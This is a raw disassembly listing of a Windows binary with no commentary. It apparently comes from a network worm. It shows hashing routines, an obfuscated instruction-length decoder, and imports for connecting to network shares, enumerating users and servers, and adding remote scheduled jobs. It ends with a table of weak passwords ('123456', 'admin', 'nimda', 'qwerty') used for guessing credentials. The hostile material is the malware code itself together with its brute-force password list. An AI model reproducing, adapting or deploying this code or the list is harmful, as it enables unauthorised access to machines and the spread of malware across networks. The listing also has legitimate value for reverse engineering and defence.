; int __cdecl sub_9B6665(void *Dst, int)
sub_9B6665 proc near ; CODE XREF: sub_9B5980+19p
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push esi
push edi
push 4
cdq
pop ecx
idiv ecx
mov esi, [ebp+Dst]
mov edi, eax
add edi, 28h
test esi, esi
jnz short loc_9B6684
push 3
pop eax
jmp short loc_9B66FA
; ---------------------------------------------------------------------------
loc_9B6684: ; CODE XREF: sub_9B6665+18j
push ebx
xor ebx, ebx
inc ebx
cmp [ebp+arg_4], ebx
jl short loc_9B66F6
cmp [ebp+arg_4], 200h
jg short loc_9B66F6
push 3C98h ; Size
push 0 ; Val
push esi ; Dst
mov ds:dword_9B9DF8, ebx
call memset
mov eax, [ebp+arg_4]
xor ecx, ecx
add esp, 0Ch
mov [esi], eax
xor eax, eax
cmp edi, 0FFh
setnle cl
xor edx, edx
cmp edi, eax
setl dl
mov [esi+128h], eax
mov dword ptr [esi+12Ch], 40h
or ecx, edx
jz short loc_9B66DD
push 11h
jmp short loc_9B66F8
; ---------------------------------------------------------------------------
loc_9B66DD: ; CODE XREF: sub_9B6665+72j
mov [esi+130h], edi
mov [esi+0CCh], ebx
mov [esi+134h], ebx
mov ds:dword_9BA2E4, eax
jmp short loc_9B66F9
; ---------------------------------------------------------------------------
loc_9B66F6: ; CODE XREF: sub_9B6665+26j
; sub_9B6665+2Fj
push 2
loc_9B66F8: ; CODE XREF: sub_9B6665+76j
pop eax
loc_9B66F9: ; CODE XREF: sub_9B6665+8Fj
pop ebx
loc_9B66FA: ; CODE XREF: sub_9B6665+1Dj
pop edi
pop esi
pop ebp
retn
sub_9B6665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B66FE proc near ; CODE XREF: sub_9B67ED+A2p
Dst = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_9B670E
push 3
jmp short loc_9B6719
; ---------------------------------------------------------------------------
loc_9B670E: ; CODE XREF: sub_9B66FE+Aj
cmp dword ptr [esi+0CCh], 0
jnz short loc_9B671F
push 5
loc_9B6719: ; CODE XREF: sub_9B66FE+Ej
pop eax
jmp loc_9B67EA
; ---------------------------------------------------------------------------
loc_9B671F: ; CODE XREF: sub_9B66FE+17j
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
jge short loc_9B672F
push 6
loc_9B6729: ; CODE XREF: sub_9B66FE+38j
pop eax
jmp loc_9B67E9
; ---------------------------------------------------------------------------
loc_9B672F: ; CODE XREF: sub_9B66FE+27j
cmp ebx, 1Ch
jl short loc_9B6738
push 7
jmp short loc_9B6729
; ---------------------------------------------------------------------------
loc_9B6738: ; CODE XREF: sub_9B66FE+34j
lea eax, [esi+0D8h]
add dword ptr [eax], 1
adc dword ptr [eax+4], 0
cmp ebx, 1
jnz short loc_9B676F
mov eax, [esi+12Ch]
inc eax
cmp eax, ebx
jle short loc_9B675F
push 40h
lea eax, [esi+338h]
jmp short loc_9B6767
; ---------------------------------------------------------------------------
loc_9B675F: ; CODE XREF: sub_9B66FE+55j
push 30h
lea eax, [esi+3B8h]
loc_9B6767: ; CODE XREF: sub_9B66FE+5Fj
push eax
call sub_9B6513
pop ecx
pop ecx
loc_9B676F: ; CODE XREF: sub_9B66FE+4Aj
push edi
lea ecx, [esi+ebx*4+3B38h]
mov [ebp+arg_4], ecx
mov eax, 1000h
sub eax, [ecx]
mov ecx, ebx
shl ecx, 9
lea ecx, [ecx+esi+138h]
push ecx
push dword ptr [esi]
lea edi, [esi+ebx*8+3BB0h]
push dword ptr [esi+128h]
add esi, 0E8h
push eax
push [ebp+arg_C]
mov [ebp+Dst], ecx
push dword ptr [esi+44h]
push dword ptr [esi+48h]
push dword ptr [edi]
push ebx
push esi
push offset dword_9A70E0
push [ebp+arg_0]
call sub_9B6363
xor ecx, ecx
add esp, 30h
cmp eax, ecx
jnz short loc_9B67E8
add dword ptr [edi], 1
mov eax, [ebp+arg_4]
push 200h ; Size
adc [edi+4], ecx
push ecx ; Val
push [ebp+Dst] ; Dst
mov [eax], ecx
call memset
add esp, 0Ch
xor eax, eax
loc_9B67E8: ; CODE XREF: sub_9B66FE+CAj
pop edi
loc_9B67E9: ; CODE XREF: sub_9B66FE+2Cj
pop ebx
loc_9B67EA: ; CODE XREF: sub_9B66FE+1Cj
pop esi
leave
retn
sub_9B66FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B67ED proc near ; CODE XREF: sub_9B67ED+148p
; sub_9B6942+FDp ...
Src = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 80h
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp esi, ebx
jnz short loc_9B6805
push 3
jmp short loc_9B680F
; ---------------------------------------------------------------------------
loc_9B6805: ; CODE XREF: sub_9B67ED+12j
cmp [esi+0CCh], ebx
jnz short loc_9B6815
push 5
loc_9B680F: ; CODE XREF: sub_9B67ED+16j
pop eax
jmp loc_9B693E
; ---------------------------------------------------------------------------
loc_9B6815: ; CODE XREF: sub_9B67ED+1Ej
cmp [ebp+arg_8], ebx
push edi
mov edi, [ebp+arg_4]
jnz short loc_9B6832
cmp dword ptr [esi+edi*4+3B38h], 1000h
jnb short loc_9B6878
loc_9B682B: ; CODE XREF: sub_9B67ED+6Cj
; sub_9B67ED+77j ...
xor eax, eax
jmp loc_9B693D
; ---------------------------------------------------------------------------
loc_9B6832: ; CODE XREF: sub_9B67ED+2Fj
cmp edi, [esi+134h]
jnz short loc_9B6878
mov eax, [esi+12Ch]
inc eax
cmp edi, eax
jnz short loc_9B6866
cmp dword ptr [esi+edi*4+3B38h], 400h
jnz short loc_9B6878
cmp [esi+edi*8+3BB4h], ebx
ja short loc_9B682B
cmp [esi+edi*8+3BB0h], ebx
jbe short loc_9B6878
jmp short loc_9B682B
; ---------------------------------------------------------------------------
loc_9B6866: ; CODE XREF: sub_9B67ED+56j
cmp edi, 1
jle short loc_9B6878
cmp dword ptr [esi+edi*4+3B38h], 400h
jz short loc_9B682B
loc_9B6878: ; CODE XREF: sub_9B67ED+3Cj
; sub_9B67ED+4Bj ...
cmp [ebp+arg_8], ebx
jz short loc_9B6888
cmp edi, [esi+134h]
jnz short loc_9B6888
xor ebx, ebx
inc ebx
loc_9B6888: ; CODE XREF: sub_9B67ED+8Ej
; sub_9B67ED+96j
push ebx
push edi
lea eax, [ebp+Src]
push esi
push eax
call sub_9B66FE
add esp, 10h
test eax, eax
jnz loc_9B693D
cmp ebx, 1
jnz short loc_9B68BE
push 80h ; Size
lea eax, [ebp+Src]
push eax ; Src
add esi, 8
push esi ; Dst
call memcpy
add esp, 0Ch
jmp loc_9B682B
; ---------------------------------------------------------------------------
loc_9B68BE: ; CODE XREF: sub_9B67ED+B5j
mov eax, [esi+12Ch]
inc eax
inc edi
cmp edi, eax
jl short loc_9B68F2
mov edi, eax
cmp edi, eax
jnz short loc_9B68F2
mov eax, [esi+edi*8+3BB0h]
or eax, [esi+edi*8+3BB4h]
jnz short loc_9B68F2
lea eax, [esi+edi*4+3B38h]
cmp dword ptr [eax], 0
jnz short loc_9B68F2
mov dword ptr [eax], 400h
loc_9B68F2: ; CODE XREF: sub_9B67ED+DBj
; sub_9B67ED+E1j ...
push 80h ; Size
lea eax, [ebp+Src]
push eax ; Src
lea ebx, [esi+edi*4+3B38h]
mov eax, [ebx]
shr eax, 3
mov ecx, edi
shl ecx, 9
add eax, esi
lea eax, [ecx+eax+138h]
push eax ; Dst
call memcpy
add dword ptr [ebx], 400h
lea eax, [esi+134h]
add esp, 0Ch
cmp edi, [eax]
jle short loc_9B6930
mov [eax], edi
loc_9B6930: ; CODE XREF: sub_9B67ED+13Fj
push [ebp+arg_8]
push edi
push esi
call sub_9B67ED
add esp, 0Ch
loc_9B693D: ; CODE XREF: sub_9B67ED+40j
; sub_9B67ED+ACj
pop edi
loc_9B693E: ; CODE XREF: sub_9B67ED+23j
pop esi
pop ebx
leave
retn
sub_9B67ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B6942 proc near ; CODE XREF: sub_9B5980+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
xor eax, eax
cmp esi, eax
jnz short loc_9B6953
push 3
jmp short loc_9B6966
; ---------------------------------------------------------------------------
loc_9B6953: ; CODE XREF: sub_9B6942+Bj
cmp [esi+0CCh], eax
jnz short loc_9B695F
push 5
jmp short loc_9B6966
; ---------------------------------------------------------------------------
loc_9B695F: ; CODE XREF: sub_9B6942+17j
cmp [ebp+arg_4], eax
jnz short loc_9B696C
push 8
loc_9B6966: ; CODE XREF: sub_9B6942+Fj
; sub_9B6942+1Bj
pop eax
jmp loc_9B6A67
; ---------------------------------------------------------------------------
loc_9B696C: ; CODE XREF: sub_9B6942+20j
cmp [ebp+arg_C], eax
push ebx
mov [ebp+arg_0], eax
jb loc_9B6A64
ja short loc_9B6984
cmp [ebp+arg_8], eax
jbe loc_9B6A64
loc_9B6984: ; CODE XREF: sub_9B6942+37j
; sub_9B6942+10Ej ...
mov edx, [ebp+arg_8]
mov eax, [ebp+arg_C]
mov ecx, 1000h
sub ecx, [esi+3B3Ch]
xor ebx, ebx
sub edx, [ebp+arg_0]
sbb eax, ebx
cmp eax, ebx
ja short loc_9B69AA
jb short loc_9B69A6
cmp edx, ecx
jnb short loc_9B69AA
loc_9B69A6: ; CODE XREF: sub_9B6942+5Ej
mov ebx, edx
jmp short loc_9B69AC
; ---------------------------------------------------------------------------
loc_9B69AA: ; CODE XREF: sub_9B6942+5Cj
; sub_9B6942+62j
mov ebx, ecx
loc_9B69AC: ; CODE XREF: sub_9B6942+66j
test bl, 7
jnz short loc_9B69E6
mov eax, [esi+3B3Ch]
test al, 7
jnz short loc_9B69E6
test byte ptr [ebp+arg_0], 7
jnz short loc_9B69E6
mov ecx, ebx
shr ecx, 3
push ecx ; Size
mov ecx, [ebp+arg_0]
shr ecx, 3
add ecx, [ebp+arg_4]
shr eax, 3
push ecx ; Src
lea eax, [eax+esi+338h]
push eax ; Dst
call memcpy
add esp, 0Ch
jmp short loc_9B6A06
; ---------------------------------------------------------------------------
loc_9B69E6: ; CODE XREF: sub_9B6942+6Dj
; sub_9B6942+77j ...
mov eax, [ebp+arg_0]
shr eax, 3
add eax, [ebp+arg_4]
push ebx
push eax
push dword ptr [esi+3B3Ch]
lea eax, [esi+338h]
push eax
call sub_9B6548
add esp, 10h
loc_9B6A06: ; CODE XREF: sub_9B6942+A2j
add [esi+3B3Ch], ebx
add [ebp+arg_0], ebx
add [esi+0D0h], ebx
mov eax, [esi+3B3Ch]
adc dword ptr [esi+0D4h], 0
cmp eax, 1000h
jnz short loc_9B6A4B
xor eax, eax
cmp eax, [ebp+arg_C]
ja short loc_9B6A4B
jb short loc_9B6A3A
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_8]
jnb short loc_9B6A4B
loc_9B6A3A: ; CODE XREF: sub_9B6942+EEj
push 0
push 1
push esi
call sub_9B67ED
add esp, 0Ch
test eax, eax
jnz short loc_9B6A66
loc_9B6A4B: ; CODE XREF: sub_9B6942+E5j
; sub_9B6942+ECj ...
xor eax, eax
cmp eax, [ebp+arg_C]
jb loc_9B6984
ja short loc_9B6A64
mov eax, [ebp+arg_8]
cmp [ebp+arg_0], eax
jb loc_9B6984
loc_9B6A64: ; CODE XREF: sub_9B6942+31j
; sub_9B6942+3Cj ...
xor eax, eax
loc_9B6A66: ; CODE XREF: sub_9B6942+107j
pop ebx
loc_9B6A67: ; CODE XREF: sub_9B6942+25j
pop esi
pop ebp
retn
sub_9B6942 endp
; =============== S U B R O U T I N E =======================================
sub_9B6A6A proc near ; CODE XREF: sub_9B6BB5+90p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_9B6A78
push 3
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B6A78: ; CODE XREF: sub_9B6A6A+7j
mov eax, [esi]
add eax, 7
push 8
cdq
pop ecx
idiv ecx
test eax, eax
jle short loc_9B6AD6
push ebx
push ebp
mov [esp+0Ch+arg_0], 0FFFFFFF8h
sub [esp+0Ch+arg_0], esi
push edi
lea ecx, [esi+8]
lea edi, [esi+49h]
loc_9B6A9C: ; CODE XREF: sub_9B6A6A+67j
movzx eax, byte ptr [ecx]
shr eax, 4
mov al, ds:byte_9A7158[eax]
mov [edi-1], al
xor eax, eax
mov al, [ecx]
push 8
pop ebp
and eax, 0Fh
mov al, ds:byte_9A7158[eax]
mov [edi], al
mov eax, [esp+10h+arg_0]
inc ecx
lea ebx, [eax+ecx]
mov eax, [esi]
add eax, 7
cdq
idiv ebp
inc edi
inc edi
cmp ebx, eax
jl short loc_9B6A9C
pop edi
pop ebp
pop ebx
loc_9B6AD6: ; CODE XREF: sub_9B6A6A+1Bj
mov eax, [esi]
add eax, 3
push 4
cdq
pop ecx
idiv ecx
mov byte ptr [eax+esi+48h], 0
xor eax, eax
pop esi
retn
sub_9B6A6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B6AEA proc near ; CODE XREF: sub_9B6BB5+8Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi]
push edi
lea eax, [ecx+7]
cdq
push 8
pop edi
idiv edi
push 8
mov ebx, 80h
mov edi, eax
mov eax, ecx
cdq
pop ecx
idiv ecx
test edi, edi
mov [ebp+var_C], edi
mov [ebp+var_8], edx
jle short loc_9B6B2F
mov ecx, ebx
lea eax, [esi+8]
sub ecx, edi
mov [ebp+arg_0], edi
loc_9B6B24: ; CODE XREF: sub_9B6AEA+43j
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_9B6B24
loc_9B6B2F: ; CODE XREF: sub_9B6AEA+2Ej
cmp edi, ebx
jge short loc_9B6B50
lea edx, [edi+esi+8]
mov ecx, ebx
sub ecx, edi
mov edi, edx
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov edi, [ebp+var_C]
loc_9B6B50: ; CODE XREF: sub_9B6AEA+47j
cmp [ebp+var_8], 0
jle short loc_9B6BB0
test edi, edi
jle short loc_9B6BB0
push 8
pop eax
sub eax, [ebp+var_8]
mov [ebp+var_4], 0FFFFFFF9h
sub [ebp+var_4], esi
mov [ebp+arg_0], 0FFFFFFF8h
sub [ebp+arg_0], esi
mov [ebp+var_10], eax
lea eax, [esi+8]
loc_9B6B7A: ; CODE XREF: sub_9B6AEA+C4j
mov dl, [eax]
mov ecx, [ebp+var_10]
shl dl, cl
mov ecx, [ebp+var_4]
add ecx, eax
cmp ecx, ebx
mov [eax], dl
jge short loc_9B6BA6
mov ecx, [ebp+arg_0]
mov edi, [ebp+var_C]
add ecx, eax
mov bl, [ecx+esi+9]
mov cl, byte ptr [ebp+var_8]
shr bl, cl
or bl, dl
mov [eax], bl
mov ebx, 80h
loc_9B6BA6: ; CODE XREF: sub_9B6AEA+A0j
mov ecx, [ebp+arg_0]
inc eax
add ecx, eax
cmp ecx, edi
jl short loc_9B6B7A
loc_9B6BB0: ; CODE XREF: sub_9B6AEA+6Aj
; sub_9B6AEA+6Ej
pop edi
pop esi
pop ebx
leave
retn
sub_9B6AEA endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B6BB5(int, void *Dst)
sub_9B6BB5 proc near ; CODE XREF: sub_9B5980+40p
arg_0 = dword ptr 4
Dst = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_9B6BC2
push 3
jmp short loc_9B6BCD
; ---------------------------------------------------------------------------
loc_9B6BC2: ; CODE XREF: sub_9B6BB5+7j
cmp dword ptr [esi+0CCh], 0
jnz short loc_9B6BD0
push 5
loc_9B6BCD: ; CODE XREF: sub_9B6BB5+Bj
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_9B6BD0: ; CODE XREF: sub_9B6BB5+14j
push ebx
xor ebx, ebx
inc ebx
cmp [esi+0E0h], ebx
jz short loc_9B6C53
mov ecx, [esi+134h]
cmp ecx, ebx
mov eax, ebx
jz short loc_9B6C01
jl short loc_9B6C01
lea ecx, [esi+3B3Ch]
loc_9B6BF0: ; CODE XREF: sub_9B6BB5+4Aj
cmp dword ptr [ecx], 0
ja short loc_9B6C01
inc eax
add ecx, 4
cmp eax, [esi+134h]
jle short loc_9B6BF0
loc_9B6C01: ; CODE XREF: sub_9B6BB5+31j
; sub_9B6BB5+33j ...
push ebx
push eax
push esi
call sub_9B67ED
add esp, 0Ch
test eax, eax
jnz short loc_9B6C55
push edi
lea edi, [esi+8]
push 10h
push edi
call sub_9B6513
cmp [esp+14h+Dst], 0
pop ecx
pop ecx
jz short loc_9B6C3E
mov eax, [esi]
add eax, 7
push 8
pop ecx
cdq
idiv ecx
push eax ; Size
push edi ; Src
push [esp+14h+Dst] ; Dst
call memcpy
add esp, 0Ch
loc_9B6C3E: ; CODE XREF: sub_9B6BB5+6Ej
push esi
call sub_9B6AEA
push esi
call sub_9B6A6A
pop ecx
pop ecx
mov [esi+0E0h], ebx
pop edi
loc_9B6C53: ; CODE XREF: sub_9B6BB5+25j
xor eax, eax
loc_9B6C55: ; CODE XREF: sub_9B6BB5+59j
pop ebx
pop esi
retn
sub_9B6BB5 endp
; ---------------------------------------------------------------------------
align 10h
loc_9B6C60: ; CODE XREF: sub_9AA2CE+58p
pusha
cld
xor edx, edx
mov esi, [esp+24h]
mov ebp, esp
push 1097F71Ch
push 0F71C6780h
push 17389718h
push 101CB718h
push 17302C17h
push 18173017h
push 0F715F547h
push 4C103748h
push 272CE7F7h
push 0F7AC6087h
push 1C121C52h
push 7C10871Ch
push 201C701Ch
push 4767602Bh
push 20211011h
push 40121625h
push 82872022h
push 47201220h
push 13101419h
push 18271013h
push 28858260h
push 15124045h
push 5016A0C7h
push 28191812h
push 0F2401812h
push 19154127h
push 50F0F011h
mov ecx, 15124710h
push ecx
push 11151247h
push 10111512h
push 47101115h
mov eax, 12472015h
push eax
push eax
push 12471A10h
add cl, 10h
push ecx
sub cl, 20h
push ecx
xor ecx, ecx
dec ecx
loc_9B6D1D: ; CODE XREF: .text:009B6D40j
inc ecx
mov edi, esp
loc_9B6D20: ; CODE XREF: .text:009B6D4Aj
lodsb
mov bh, al
loc_9B6D23: ; CODE XREF: .text:009B6D2Bj
mov ah, [edi]
inc edi
shr ah, 4
sub al, ah
jnb short loc_9B6D23
mov al, [edi-1]
and al, 0Fh
cmp al, 0Ch
jnz short loc_9B6D39
pop edx
not edx
loc_9B6D39: ; CODE XREF: .text:009B6D34j
inc edx
cmp al, 0
jz short loc_9B6D7F
cmp al, 1
jz short loc_9B6D1D
add edi, 51h
cmp al, 0Ah
jz short loc_9B6D20
mov edi, [ebp+24h]
inc edx
cmp al, 2
jz short loc_9B6D7F
cmp al, 7
jz short loc_9B6D87
cmp al, 0Bh
jz short loc_9B6DDA
loc_9B6D5C: ; CODE XREF: .text:009B6DE5j
inc edx
cmp al, 3
jz short loc_9B6D7F
cmp al, 8
jz short loc_9B6D87
inc edx
cmp al, 4
jz short loc_9B6D7F
inc edx
inc edx
pusha
mov al, 66h
repne scasb
popa
jnz short loc_9B6D76
loc_9B6D74: ; CODE XREF: .text:009B6DF0j
; .text:009B6E08j
dec edx
dec edx
loc_9B6D76: ; CODE XREF: .text:009B6D72j
cmp al, 9
jz short loc_9B6D87
sub al, 5
jz short loc_9B6DEA
loc_9B6D7E: ; CODE XREF: .text:009B6DCAj
; .text:009B6DCEj ...
inc edx
loc_9B6D7F: ; CODE XREF: .text:009B6D3Cj
; .text:009B6D52j ...
mov esp, ebp
mov [esp+1Ch], edx
popa
retn
; ---------------------------------------------------------------------------
loc_9B6D87: ; CODE XREF: .text:009B6D56j
; .text:009B6D63j ...
lodsb
mov ah, al
shr al, 7
jb short loc_9B6DA1
jz short loc_9B6DA5
add dl, 4
pusha
mov al, 67h
repne scasb
popa
jnz short loc_9B6DA5
sub dl, 3
dec al
loc_9B6DA1: ; CODE XREF: .text:009B6D8Dj
jnz short loc_9B6D7F
inc edx
inc eax
loc_9B6DA5: ; CODE XREF: .text:009B6D8Fj
; .text:009B6D9Aj
and ah, 7
pusha
mov al, 67h
repne scasb
popa
jz short loc_9B6DC3
cmp ah, 4
jz short loc_9B6DCC
cmp ah, 5
jnz short loc_9B6D7F
dec al
jz short loc_9B6D7F
loc_9B6DBE: ; CODE XREF: .text:009B6DD8j
add dl, 4
jmp short loc_9B6D7F
; ---------------------------------------------------------------------------
loc_9B6DC3: ; CODE XREF: .text:009B6DAEj
cmp ax, 600h
jnz short loc_9B6D7F
inc edx
jmp short loc_9B6D7E
; ---------------------------------------------------------------------------
loc_9B6DCC: ; CODE XREF: .text:009B6DB3j
cmp al, 0
jnz short loc_9B6D7E
lodsb
and al, 7
sub al, 5
jnz short loc_9B6D7E
inc edx
jmp short loc_9B6DBE
; ---------------------------------------------------------------------------
loc_9B6DDA: ; CODE XREF: .text:009B6D5Aj
test byte ptr [esi], 38h
jnz short loc_9B6D87
mov al, 8
shr bh, 1
adc al, 0
jmp loc_9B6D5C
; ---------------------------------------------------------------------------
loc_9B6DEA: ; CODE XREF: .text:009B6D7Cj
sub bh, 0A0h
cmp bh, 4
jnb short loc_9B6D74
pusha
mov al, 67h
repne scasb
popa
jnz short loc_9B6DFC
dec edx
dec edx
loc_9B6DFC: ; CODE XREF: .text:009B6DF8j
pusha
mov al, 66h
repne scasb
popa
jz loc_9B6D7E
jnz loc_9B6D74
; ---------------------------------------------------------------------------
db 2 dup(0CCh)
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__NLG_Notify1:
push ebx
push ecx
mov ebx, offset dword_9B9DFC
jmp short loc_9B6EF0
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_2: ; Microsoft VisualC 2-9/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION log. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION sin. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION labs. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000021 BYTES: COLLAPSED FUNCTION __allshr. PRESS KEYPAD "+" TO EXPAND]
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x). PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
align 2
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ntohl_0. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ntohl. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NdrClientCall2. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ObtainUserAgentString. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2W. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2W. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2A. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2A. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION VerQueryValueA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoSizeA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetApiBufferFree. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobDel. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobEnum. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobAdd. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetUserEnum. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetServerEnum. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetWkstaGetInfo. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND]
dd 727h dup(0)
dword_9B9000 dd 0 ; DATA XREF: _CRT_INIT(x,x,x)+4Fo
dword_9B9004 dd 3 dup(0) ; DATA XREF: _CRT_INIT(x,x,x)+4Ao
off_9B9010 dd offset Password ; DATA XREF: sub_9A870C+130r
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a123123 ; "123123"
dd offset a12321 ; "12321"
dd offset a123321 ; "123321"
dd offset a123abc ; "123abc"
dd offset a123qwe ; "123qwe"
dd offset a123asd ; "123asd"
dd offset a1234abcd ; "1234abcd"
dd offset a1234qwer ; "1234qwer"
dd offset a1q2w3e ; "1q2w3e"
dd offset aA1b2c3 ; "a1b2c3"
dd offset aAdmin_0 ; "admin"
dd offset aAdmin ; "Admin"
dd offset aAdministrator ; "administrator"
dd offset aNimda ; "nimda"
dd offset aQwewq ; "qwewq"
dd offset aQweewq ; "qweewq"
dd offset aQwerty ; "qwerty"
dd offset aQweasd ; "qweasd"
dd offset aAsdsa ; "asdsa"
dd offset aAsddsa ; "asddsa"
dd offset aAsdzxc ; "asdzxc"
